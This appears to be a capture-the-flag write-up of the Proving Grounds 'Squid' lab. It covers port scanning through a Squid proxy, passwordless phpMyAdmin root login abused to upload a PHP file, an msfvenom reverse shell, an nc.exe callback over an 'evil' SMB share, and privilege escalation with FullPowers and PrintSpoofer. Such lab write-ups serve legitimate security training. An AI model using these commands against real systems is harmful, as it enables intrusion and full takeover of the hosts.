Proving Grounds | Squid

Proving Grounds | Squid
In: Proving Grounds, TJ Null OSCP Practice, OSCP Prep, Attack, CTF

Nmap Results

# Nmap 7.92 scan initiated Thu Sep  1 17:05:22 2022 as: nmap -Pn -p- -A -T5 -oN scan.txt
Nmap scan report for
Host is up (0.079s latency).
Not shown: 65534 filtered tcp ports (no-response)
3128/tcp open  http-proxy Squid http proxy 4.14
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.14
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 3128/tcp)
1   79.55 ms
2   79.77 ms

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Sep  1 17:17:17 2022 -- 1 IP address (1 host up) scanned in 716.09 seconds

Service Enumeration


Try doing some banner grabbing:

This confirms the nmap fingerprint of Squid http proxy 4.14 . Let's check Exploit DB for any version-specific vulnerabilities.

searchsploit squid

Proxy Testing

HTTP Proxy Testing

Nothing for this particular version in Exploit DB. I checked Google for some exploits as well, but I'm not seeing any remote exploits available.

I stumbled across this cheat sheet in my Googling, however.

3128 - Pentesting Squid - HackTricks

The suggestion here is that we set the Squid proxy on Kali to act as a pivot point to internal services and/or ports.

 __________                                         ___________
|          | =================[PROXY THRU SQUID]===|           |====PROXY====.
|   Kali   | GET / HTTP/1.1                        |   Squid   |   BACK TO   |
|          | Host:{port}    |           |<====SELF===='
'__________'                                       '___________'

Ask for '{port}' through Squid proxy

Looking at the illustration above, we are going to ask Squid to proxy back to itself and request any HTTP resource listening on {port}. In other words, ask to check if{port} is serving any web resources.

The idea behind this is that there may be services listening only on loop back, or a firewall blocking ports. And, while the firewall may be blocking access to ports from the outside, the firewall is not going to block access to ports from itself or an internal address.

Let's see what we can do.

curl --proxy

Ask the proxy server if itself is serving any HTTP content on 'TCP/80'

The proxy returns an error that the URL cannot be retrieved

Proxy Port Scanning with cURL

Looking at the screenshot above, we can see that Squid will throw an error if it can't reach a page, ERROR: The requested URL could not be retrieved. Knowing that, we should be able to come up with a script to test ports through the proxy. We should be able to assume that if a page is up, we won't see that error message.

Let's start by getting a list of the top TCP ports to test. I've written a cheat sheet on listing the top TCP ports with nmap.

List Nmap Top Ports | 0xBEN | Notes
Purpose If you’re running a lengthy nmap scan and do not want to enumerate all 65,535 TCP (or UDP)…

The only thing we'll want to do is replace the hyphens ( - ) with the range of port numbers.

# The file where we want to store the list of ports
# Create the file if it doesn't exist
if [[ ! -f $ports_file ]] ; then touch $ports_file ; fi

# The number of Nmap top ports to output

# Generate the list of top ports
# Nmap lists port ranges with a hyphen (-)
# We use `sed` to replace the hyphens with `..`
# `..` indicates will help with generating port ranges below
top_ports=$(nmap -sT --top-ports $num_ports -v -oG - 2>/dev/null | grep TCP | cut -d ';' -f 2 | cut -d ')' -f 1 | tr ',', "\n" | sed 's/\-/../g')

# Clear out the ports file list
echo > $ports_file

# For each port in the list of ports do ...
    # If the port has a hyphen `-` ...
        # Create a list of ports using {$port}
        # For example {49152..49157}
        # Then add them to our ports list file
    # Otherwise ...
        # Just take a single port and add to the file
for port in $(echo $top_ports) ; do \
    if echo $port | grep '\.\.' > /dev/null; then \
        for port_in_range in {$port} ; do \
        echo $port_in_range >> $ports_file ; \
        done ; \
    else ; \
        echo $port >> $ports_file ; \

Generate a file containing a list of a number of top 'nmap' ports

# Define a base URL, which is the proxy address minus the proxy port
# Define the proxy URL, which is the base URL plus the proxy port

for port in $(cat /tmp/ports_to_check.txt) ; do \
    # Create a test URL string, which is the base URL plus the test port
    # If we don't find the string `ERROR` the port may be open
    if ! curl -skL --proxy $proxy_url $test_url | grep ERROR > /dev/null ; then \
        echo "$test_url may be open behind the proxy" ; \
    fi ; \

Loop over the Nmap top ports and output which ones may be open

You'll find this output matches the Spose testing below
The IP address in the screenshot above is different, due to the fact that I came back and updated this post with a better manual testing method, which yielded a different IP address on Proving Grounds.

Proxy Port Scanning with Spose

GitHub - aancw/spose: Squid Pivoting Open Port Scanner
Squid Pivoting Open Port Scanner. Contribute to aancw/spose development by creating an account on GitHub.
git clone
cd spose
python3 --proxy --target

Testing the Proxied Services

Setting the Proxy

I am using this proxy switcher in my browser. From here, I can set the Squid proxy and navigate to the pages.

Proxy Switcher and Manager
Manage and switch between multiple proxy types (SOCKS, PAC, and Direct) with profile support


The phpMyAdmin service looks interesting, let's take a look and see if there's a guessable password on that service.

Turns out, the service is configured to allow passwordless login for the root user.



Squid, acting as a reverse proxy, allows unauthenticated access to an internal Wamp server and PhpMyAdmin interface. The PhpMyAdmin interface is configured with passwordless login for the root user, allowing an attacker to create files in the web root, which can lead to code execution.

PhpMyAdmin to File Upload

Uploading Shell via PHPmyadmin
Uploading Shell via PHPmyadmin. GitHub Gist: instantly share code, notes, and snippets.

In the PhpMyAdmin interface, you can click on the SQL tab and run the suggested payload to create a uploader.php file in the web root.

From here, you can create a PHP reverse shell payload and upload it via this web form. That will upload your reverse shell file to the web root.

Reverse Shell

Create a reverse shell payload and upload it using the web form.

msfvenom -p php/reverse_php LHOST= LPORT=443 -f raw -o shell.php

Start a listener.

sudo rlwrap nc -lnvp 443

And, open in your browser or using curl .

Upgrade Your Shell

Copy nc.exe to your current directory and serve it using

cp /usr/share/windows-resources/binaries/nc.exe . -smb2support -username evil -password evil evil $PWD

Start a listener on another port.

sudo rlwrap nc -lnvp 80

Now, from your reverse shell, execute nc.exe by using the UNC path.

net use z: \\\evil /user:evil evil
Z:\nc.exe 80 -e cmd.exe

Post-Exploit Enumeration

Operating Environment

Current Users

Host Name:                 SQUID
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-70000-00000-AA872
Original Install Date:     5/28/2021, 2:52:51 AM
System Boot Time:          7/13/2022, 9:49:25 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
BIOS Version:              VMware, Inc. VMW71.00V.18227214.B64.2106252220, 6/25/2021
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 862 MB
Virtual Memory: Max Size:  2,431 MB
Virtual Memory: Available: 1,122 MB
Virtual Memory: In Use:    1,309 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 11 Hotfix(s) Installed.
Network Card(s):           1 NIC(s) Installed.
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

OS & Kernel

User Name                  SID     
========================== ========
nt authority\local service S-1-5-19
Group Name                             Type             SID                                                                                              Attributes                                        
====================================== ================ ================================================================================================ ==================================================
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                                                                                                       
Everyone                               Well-known group S-1-1-0                                                                                          Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                                                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                                                          Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                                                          Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                                                          Mandatory group, Enabled by default, Enabled group
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
ERROR: Unable to get user claims information.

Users and Groups

Local Users

User accounts for \\
Administrator            DefaultAccount           Guest                    

Local Groups

Aliases for \\SQUID
*Access Control Assistance Operators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Hyper-V Administrators
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Storage Replica Administrators
*System Managed Accounts Group
The command completed successfully.

Network Configurations


Windows IP Configuration
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . :

Open Ports

  TCP                LISTENING       876
  TCP                LISTENING       4
  TCP               LISTENING       4824
  TCP               LISTENING       1860
  TCP               LISTENING       4
  TCP               LISTENING       1720
  TCP              LISTENING       4
  TCP              LISTENING       520
  TCP              LISTENING       60
  TCP              LISTENING       1048
  TCP              LISTENING       1620
  TCP              LISTENING       640
  TCP              LISTENING       656
  TCP              LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       876
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3128              [::]:0                 LISTENING       4824
  TCP    [::]:3306              [::]:0                 LISTENING       1860
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:8080              [::]:0                 LISTENING       1720
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       520
  TCP    [::]:49665             [::]:0                 LISTENING       60
  TCP    [::]:49666             [::]:0                 LISTENING       1048
  TCP    [::]:49667             [::]:0                 LISTENING       1620
  TCP    [::]:49668             [::]:0                 LISTENING       640
  TCP    [::]:49672             [::]:0                 LISTENING       656

Privilege Escalation

After a lengthy amount of enumeration, I could not find any privileged services that could lead to a local privilege escalation. So, I turned to Google and I came across this very informative blog post.

Give Me Back My Privileges! Please?
I want to tell you the story of a service account which lost all its powers (a.k.a. privileges). Windows world is getting increasingly ruthless and when the system considers you are not worthy, this is what happens. Fortunately for our service account, all is not lost, there’s still hope. In this me…

The author has developed a local exploit that will streamline the process of regaining all of the privileges that service accounts used to come with.

GitHub - itm4n/FullPowers: Recover the default privilege set of a LOCAL/NETWORK SERVICE account
Recover the default privilege set of a LOCAL/NETWORK SERVICE account - GitHub - itm4n/FullPowers: Recover the default privilege set of a LOCAL/NETWORK SERVICE account

After running the exploit, our service account now has SeImpersonatePrivilege enabled.

From here, I Googled for SeImpersonatePrivilege to SYSTEM.

Microsoft Windows - ‘SeImpersonatePrivilege’ Local Privilege Escalation
Applicable to: Plesk for Windows Situation Windows local Privilege Escalation with SeImpersonatePrivilege.There is a possibility of local privileges escalation up to SYSTEM privilege on Windows ...

Again, itm4n with the good stuff.

GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019
Abusing Impersonation Privileges on Windows 10 and Server 2019 - GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019

I host the PrintSpoofer64.exe on from before and execute.






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